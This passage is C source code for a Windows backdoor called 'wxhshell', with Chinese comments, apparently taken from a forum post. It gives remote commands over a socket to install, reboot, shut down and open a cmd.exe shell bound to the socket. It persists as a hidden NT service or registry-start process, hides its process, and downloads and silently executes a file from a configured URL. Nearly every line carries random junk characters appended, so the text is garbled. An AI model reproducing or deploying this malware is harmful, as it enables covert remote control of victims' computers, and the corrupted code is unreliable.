  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5:ca6 H  
  } X-[_g!pV  
  else { Sg;c|u  
S,A\%:Va  
    switch(cmd[0]) { :j2G0vHIl(  
  zOO:`^ m  
  // 帮助 ^wDZg`  
  case '?': { :wtr{,9rZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N&ZIsaK,j  
    break; iF:`rIC  
  } )xtDiDB  
  // 安装 |_7nvck  
  case 'i': { iX ;E"ov]  
    if(Install()) qC<!!473?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $7 1(g$6#  
    else ^D` ARH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QQ*yQ\  
    break; DY]\@<ez  
    } Gc6`]7 s  
  // 卸载 eF)vx{s  
  case 'r': { DSiI%_[Ud  
    if(Uninstall()) t<'-?B2g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^@V$'Bk  
    else &d/v/Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _c| aRRW  
    break; "7Qc:<ww  
    } O{WJi;l  
  // 显示 wxhshell 所在路径 tu(k"'aJ  
  case 'p': { 4'L%Wz[6  
    char svExeFile[MAX_PATH];  J`F][ A  
    strcpy(svExeFile,"\n\r"); O%:EPdoU  
      strcat(svExeFile,ExeFile); 1~X~"M  
        send(wsh,svExeFile,strlen(svExeFile),0); )<W6cDx'H+  
    break; F=}-ngx8&  
    } nU]4)t_o\  
  // 重启 LZC)vF5  
  case 'b': { F@=)jrO=$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |/LCwq%  
    if(Boot(REBOOT)) V *2 =S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QvB]?D#h  
    else { tTa" JXG  
    closesocket(wsh); ,1>ABz  
    ExitThread(0); X[pk9mha  
    } qSj$0Hq5XI  
    break; doJ\7c5uU  
    } MN|8(f5Gs  
  // 关机 -26GOS_8z  
  case 'd': { T/8*c0mU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GUUVE@Z  
    if(Boot(SHUTDOWN)) :m|%=@]`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7vBB <\  
    else { \gd.Bl  
    closesocket(wsh); _Se~bkw?v  
    ExitThread(0); -t28"jyj  
    } etbB;!6  
    break; ~c8Z9[QW  
    } K]q9wR'q  
  // 获取shell +{* @36A5A  
  case 's': { Q=hf,/N  
    CmdShell(wsh); xv! QO  
    closesocket(wsh); \W73W_P&g  
    ExitThread(0); H}KJd5A7  
    break; Yjo$^q  
  } MguH)r` uT  
  // 退出 +f)Nf) \q  
  case 'x': { rw*#ta O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;dq AmBG{8  
    CloseIt(wsh); q#W7.8 Z@  
    break; cB5|% @$I  
    } i Rwqt-WZ  
  // 离开 4%5H<:V7  
  case 'q': { n ETm"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XO |U4 #ya  
    closesocket(wsh); r{~K8!=oU]  
    WSACleanup(); "WKE% f  
    exit(1); J?Kgev%  
    break; 0q%=Vs~@g  
        } _J}vPm  
  } ii%n:0+zm  
  } v5i?4?-Z  
E|f&SEnzK  
  // 提示信息 a8fLj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1zE_ SNx  
} VN=S&iBa/  
  } WZ"g:Khw  
aOYRenqu  
  return; VK9I#   
} GnbXS>  
'c#ZW| A  
// shell模块句柄 w}Q|*!?_  
int CmdShell(SOCKET sock) f#xqu +)Z  
{ F*WW v&\X  
STARTUPINFO si; l\8 l.xP  
ZeroMemory(&si,sizeof(si)); _"`wUMee  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 54 8w v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -CW$p=y}  
PROCESS_INFORMATION ProcessInfo; X/,4hjg  
char cmdline[]="cmd"; b2;Weu3WN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @:DS/#!  
  return 0; ku,Y-  
} o5+N_5OE}E  
i,/|H]Mzr  
// 自身启动模式 KZV$rJ%G  
int StartFromService(void) cm]D"GFLY  
{ -0| '{  
typedef struct ;FYiXK%  
{ luZqW`?Bt  
  DWORD ExitStatus; Yyl2J#$!  
  DWORD PebBaseAddress; VHsNz WI  
  DWORD AffinityMask; %^RlE@l9  
  DWORD BasePriority; r]1|I6:&)  
  ULONG UniqueProcessId; g<~[k?~J  
  ULONG InheritedFromUniqueProcessId; Tr}@fa  
}   PROCESS_BASIC_INFORMATION; Rk fr4  
O'JH= '  
PROCNTQSIP NtQueryInformationProcess; 8<u_ wt@  
~S Js2- 2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; di6A.N5A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BzH7E[R49  
9s)YPlDz  
  HANDLE             hProcess; .a:Oj3=0  
  PROCESS_BASIC_INFORMATION pbi; B\bIMjXV  
>VqMSe_v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <PkDfMx2  
  if(NULL == hInst ) return 0; )_EQU8D4ug  
1p,G8v+B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `xbk)oW#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EAFKf*K=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w&;\}IS  
Ov%9S/d  
  if (!NtQueryInformationProcess) return 0; /B!"\0G/,  
}}~ ^!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zqYfgV  
  if(!hProcess) return 0; d; @Kz^  
9a)D8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *n?6x!A  
;3'}(_n  
  CloseHandle(hProcess); u7`<m.\  
#v-)Ie\F?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0t 7yK  
if(hProcess==NULL) return 0; Jg k@ti.}Z  
yB}y'5  
HMODULE hMod; X4i$,$C  
char procName[255]; N|q:wyS|  
unsigned long cbNeeded; vzaxi;S<  
@N.W#<IG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zE.4e&m%Z?  
fx.FHhVu  
  CloseHandle(hProcess); UeE& 8{=d  
T4Z("  
if(strstr(procName,"services")) return 1; // 以服务启动 8%7H F:  
n<yV]i$  
  return 0; // 注册表启动 F5L/7j<}  
} : M0LAN  
Cgw#c%  
// 主模块 L0|Vc9  
int StartWxhshell(LPSTR lpCmdLine) nC`#Hm.V%  
{ Tjure]wQz  
  SOCKET wsl; hU G Iy(  
BOOL val=TRUE; vWfC!k-)b  
  int port=0; WP^%[?S2  
  struct sockaddr_in door; UDyvTfh1X  
y9\s[}c_  
  if(wscfg.ws_autoins) Install(); J+?xfg  
:'GTCo$3  
port=atoi(lpCmdLine); K r]!BI?z  
 =sG(l  
if(port<=0) port=wscfg.ws_port; 3 ;.{ O%bX  
(U/[i.r5Cj  
  WSADATA data; WF-imI:EK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RWTv,pLK  
hPFIf>%}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /q='~t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6mdJ =b#  
  door.sin_family = AF_INET;  Mw'd<{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )IZ$R*Y{  
  door.sin_port = htons(port); # FaR?L![Y  
!;CY @=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -oF4mi8S  
closesocket(wsl); pJ_Z[}d)c  
return 1; 4B]8Mp~\aL  
} #C%<g:F8  
o/)\Q>IY  
  if(listen(wsl,2) == INVALID_SOCKET) { (a7IxW  
closesocket(wsl); w #(XiH*  
return 1; '{( n1es  
} !c1 E  
  Wxhshell(wsl); "c\T  
  WSACleanup(); HEe0dqG  
nk-6W4  
return 0; eMz,DYa/G  
MzK&Jh  
} Vg[U4,  
`q_7rrkO  
// 以NT服务方式启动 RSmxwx^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MiOSSl};  
{ zi*D8!_C  
DWORD   status = 0; e4CG=K3s  
  DWORD   specificError = 0xfffffff; %_tL}m{?  
e1&c_"TOih  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5-u=ZB%p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; , st4K;-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B u4N~0  
  serviceStatus.dwWin32ExitCode     = 0; *QLl jGe  
  serviceStatus.dwServiceSpecificExitCode = 0; 4\s S  
  serviceStatus.dwCheckPoint       = 0; d G:=tf&1R  
  serviceStatus.dwWaitHint       = 0; >b*Pd *f  
|Ca$>]?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {8I93]  
  if (hServiceStatusHandle==0) return; 2?-}(F;Z  
8CEy#%7]}  
status = GetLastError(); A ;kAAM  
  if (status!=NO_ERROR) )_bXKYUX*0  
{ >!WJ{M0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }P}l4k1W  
    serviceStatus.dwCheckPoint       = 0; p3x(:=   
    serviceStatus.dwWaitHint       = 0; ?6j@EJ<2q  
    serviceStatus.dwWin32ExitCode     = status; $g|g}>Sc  
    serviceStatus.dwServiceSpecificExitCode = specificError; QT%&vq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &]z2=\^e  
    return; |u;5|i  
  } V<nzThM\  
Zqam Iq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R!$j_H  
  serviceStatus.dwCheckPoint       = 0; 9@vY(k k  
  serviceStatus.dwWaitHint       = 0; pbm4C0W}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j<L!ONvJ1  
} K{|;'N-1  
Q_uv.\*z_  
// 处理NT服务事件,比如:启动、停止 kP;Rts8JD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z5Nw+#m| i  
{ D]oS R7h  
switch(fdwControl) 54 }s:[O  
{ 'm/b+9?.  
case SERVICE_CONTROL_STOP: .2Rh_ful  
  serviceStatus.dwWin32ExitCode = 0; OB$A"XGAEV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'Y"q=@Ei9  
  serviceStatus.dwCheckPoint   = 0; 'mmyzsQ \6  
  serviceStatus.dwWaitHint     = 0; [|F.*06SK  
  { r2&{R!Fj`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bq@G@Qi  
  } cIgFSwQ 4  
  return; has5"Bb  
case SERVICE_CONTROL_PAUSE: {ZfTUt)-P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g" M1HxlV  
  break;  &$+yXN  
case SERVICE_CONTROL_CONTINUE: eN jC.w9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TUk1h\.q  
  break; %HSoQ?qA  
case SERVICE_CONTROL_INTERROGATE: ZGp8$Y>r  
  break; Y+G4:  
}; ul% q6=f)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TkQ05'Qc  
} 3cOXtDV YT  
m$O@+;>l  
// 标准应用程序主函数 .+M4P i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }QC: !e,yG  
{ /Hd\VI  
O~xc> w  
// 获取操作系统版本 ;CU3CLn  
OsIsNt=GetOsVer(); ="I]D I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Pp.X Du  
HWs?,AJNxB  
  // 从命令行安装 (,<?Pg7v:f  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8}S|iM  
x&?35B i  
  // 下载执行文件 Ii,L6c  
if(wscfg.ws_downexe) { ZsV'-gu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *~-~kv4-  
  WinExec(wscfg.ws_filenam,SW_HIDE); E&"bgwav{(  
} 4Q!*h8O  
Ig9$ PP+3  
if(!OsIsNt) { nq$^}L3&~  
// 如果时win9x,隐藏进程并且设置为注册表启动 L:%h]-  
HideProc(); 0,VbB7 z  
StartWxhshell(lpCmdLine); thq(tK7  
} %_/_klxnO  
else ?EtK/6dJZt  
  if(StartFromService()) Zo&U3b{Dy  
  // 以服务方式启动 Cjwg1?^RZ  
  StartServiceCtrlDispatcher(DispatchTable); F!Nx^M1  
else h7%<  
  // 普通方式启动 A).wjd(_,  
  StartWxhshell(lpCmdLine); (F#Qunze  
]p$fEW g  
return 0; Z?^AX&F  
}
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只看该作者 1 发表于: 2006-10-10
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